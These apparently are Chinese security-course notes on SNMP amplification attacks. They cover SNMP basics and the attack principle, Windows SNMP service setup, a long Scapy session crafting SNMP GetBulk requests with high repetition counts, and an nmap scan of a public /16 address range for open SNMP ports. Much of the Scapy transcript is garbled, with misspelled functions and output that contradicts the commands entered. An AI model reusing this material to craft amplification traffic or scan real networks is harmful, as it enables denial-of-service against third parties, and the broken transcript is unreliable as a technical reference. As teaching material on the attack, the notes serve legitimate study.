【安全牛学习笔记】SNMP放大攻击
SNMP放大攻击 简单网络管理协议 - Simple Network Management Protocol - 服务端口 UDP 161 / 162 - 管理站(manager/客户端)、被管理设备(agent/服务端) - 管理信息数据库(MIB)是一个信息存储库吗,包含管理代理中的有关配置和 性能的数据,按照不同分类,包含分属不同组的多个数据对象 - 每一个节点都有一个对象标识符(OID)来唯一的标识 - IETF定义便准的MIB库/厂家自定义MIB库 攻击原理 - 请求流量小,查询结果返回流量大 - 结合伪造源地址实现攻击 |
简单网络管理协议(SNMP)是一种广泛用于监测健康和网络设备(如路由器)福利协议,计算机设备甚至设备如UPS。简单网络管理协议是一套用来实现SNMP v1应用SNMP v2c和SNMP V3使用IPv4和IPv6。该套件包括:
命令行应用程序:
从一个SNMP的设备能够检索信息,使用单一的请求(snmpget,snmpgetnext),或多个请求(snmpwalk命令,snmptable,snmpdelta)。
操纵一个SNMP功能的设备配置信息(snmpset)。
获取一个固定的信息收集从一个SNMP功能的设备(snmpdf,snmpnetstat,snmpstatus)。
MIB OID数字和文本形式之间的转换,并显示MIB的内容和结构(snmptranslate)。
一个图形化的MIB浏览器(tkmib),使用TK / Perl。
一个接收SNMP通知后台应用(snmptrapd)。选择通知可以记录(日志、NT事件日志,或纯文本文件),转到另一个SNMP管理系统,或通过外部应用程序。
为响应SNMP查询信息管理一个可扩展的代理(snmpd)。这包括一个广泛的MIB信息模块的内置支持,可以使用动态加载的模块扩展,外部脚本和命令,以及SNMP复用(中)和扩展代理协议(协议)。
为开发新的SNMP应用程序库,用C和Perl APIs。
简单网络管理协议是可用于许多UNIX和类UNIX操作系统和微软Windows。注意:功能可以根据操作系统的不同而有所不同。具体到你的平台的信息请参阅自述文件。
该文档部分包含命令行工具、安装、配置等的详细信息。
如果你是新的一般网络SNMP或SNMP,那么一个好的开始是教程部分。
下载部分包含各种平台的源代码和二进制文件。
请看我们的项目开发的网页位于SourceForge以及。
开始运行“appwiz.cpl”----->添加/删除windows组件----->管理和监控工具----->简单网络管理协议(SNMP)----->完成
开始运行“services.msc”----->SNMP Service
SNMP Trap Service
SNMP Service 的属性(本地计算机)------>接收团体名称(添加)------>团体权限:只读;团体名称:asdasd------>接受来自这些SNMP 数据包(添加)------>1.1.1.1------>应用,确定
[email protected]:~# ifconfig
192.168.1.116
[email protected]:~# scapy
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.3.2)
>>> i=IP()
>>> i.dst="192.168.1.124"
>>> i.display()
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags=
frag= 0
ttl = 64
proto = tcp
chksum = None
src = 192.168.1.116
dst = 192.168.1.124
>>> u=UDP
>>> u.display()
###[ UDP ]###
sport=domain
dport=domain
len=None
chksum=None
>>> u.dport=161
>>> u.sport=161
>>> s=SNMP()
>>> s.display()
###[ SNMP ]###
version= v2c
community= 'public'
\PDU\
|###[ SNMPget ]###
| id= 0
| error= no_error
| error_index= 0
| \varbindlist\
>>> s.community="asdasd"
###[ SNMPbulk ]###
id= 0
non_repeaters= 0
max_repetitions= 0
\varbindlist\
>>> b.max_repetitions=100
>>> b.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASNI_OID('1.3.6.1.2.1.19.1.3'))]
>>> s.displa()
###[ SNMP ]###
version= v2c
community= 'asdasd'
\PDU\
|###[ SNMPget ]###
| id= 0
| error= no_error
| error_index= 0
| \varbindlist\
>>> s.PDU=b
>>> s.display()
###[ SNMP ]###
version= v2c
community= 'asdasd'
\PDU\
|###[ SNMPbulk ]###
| id= 0
| max_repeaters= 0
| max_repetitions = 100
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid=ASN1_OID('1.3.6.1.2.1.1')
| | value= <ASNI_NULL[0]>
| |###[ SNMPvarbind ]###
| | oid= ASNI_OID('1.3.6.1.2.1.19.1.3'))]
| | value= <ASNI_NULL[0]>
>>> u.display()
###[ UDP ]###
sport= snmp
dport= snmp
len=None
chksum=None
>>> r=(i/u/s)
>>> r.display()
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags=
frag= 0
ttl = 64
proto = tcp
chksum = None
src = 192.168.1.116
dst = 192.168.1.124
###[ UDP ]###
sport=domain
dport=domain
len=None
chksum=None
###[ SNMP ]###
version= v2c
community= 'asdasd'
\PDU\
|###[ SNMPbulk ]###
| id= 0
| max_repeaters= 0
| max_repetitions = 100
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid=ASN1_OID('1.3.6.1.2.1.1')
| | value= <ASNI_NULL[0]>
| |###[ SNMPvarbind ]###
| | oid= ASNI_OID('1.3.6.1.2.1.19.1.3'))]
| | value= <ASNI_NULL[0]>
>>> sr1(r)
>>> s.display()
###[ SNMP ]###
version= v2c
community= 'asdasd'
\PDU\
|###[ SNMPbulk ]###
| id= 0
| max_repeaters= 0
| max_repetitions = 100
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid=ASN1_OID('1.3.6.1.2.1.1')
| | value= <ASNI_NULL[0]>
| |###[ SNMPvarbind ]###
| | oid= ASNI_OID('1.3.6.1.2.1.19.1.3'))]
| | value= <ASNI_NULL[0]>
>>> b.SNMPbulk()
>>> b.display()
###[ SNMPbulk ]###
id= 0
non_repeaters= 0
max_repetitions= 0
\varbindlist\
>>> b.max_petitions=200
>>> b.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASNI_OID('1.3.6.1.2.1.19.1.3'))]
>>> b.display()
###[ SNMPbulk ]###
id= 0
max_repeaters= 0
max_repetitions = 100
\varbindlist\
|###[ SNMPvarbind ]###
| oid=ASN1_OID('1.3.6.1.2.1.1')
| value= <ASNI_NULL[0]>
|###[ SNMPvarbind ]###
| oid= ASNI_OID('1.3.6.1.2.1.19.1.3'))]
| value= <ASNI_NULL[0]>
>>> s.PDU=b
>>> s.display()
###[ SNMP ]###
version= v2c
community= 'asdasd'
\PDU\
|###[ SNMPbulk ]###
| id= 0
| max_repeaters= 0
| max_repetitions = 100
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid=ASN1_OID('1.3.6.1.2.1.1')
| | value= <ASNI_NULL[0]>
| |###[ SNMPvarbind ]###
| | oid= ASNI_OID('1.3.6.1.2.1.19.1.3'))]
| | value= <ASNI_NULL[0]>
>>> r=(i/u/s)
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags=
frag= 0
ttl = 64
proto = tcp
chksum = None
src = 192.168.1.116
dst = 192.168.1.124
###[ UDP ]###
sport=domain
dport=domain
len=None
chksum=None
###[ SNMP ]###
version= v2c
community= 'asdasd'
\PDU\
|###[ SNMPbulk ]###
| id= 0
| max_repeaters= 0
| max_repetitions = 100
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid=ASN1_OID('1.3.6.1.2.1.1')
| | value= <ASNI_NULL[0]>
| |###[ SNMPvarbind ]###
| | oid= ASNI_OID('1.3.6.1.2.1.19.1.3'))]
| | value= <ASNI_NULL[0]>
>>> sr1(r)
[email protected]:~# nmap -sU -p161 202.106.0.0/16
尽量不要向外网开放snmp服务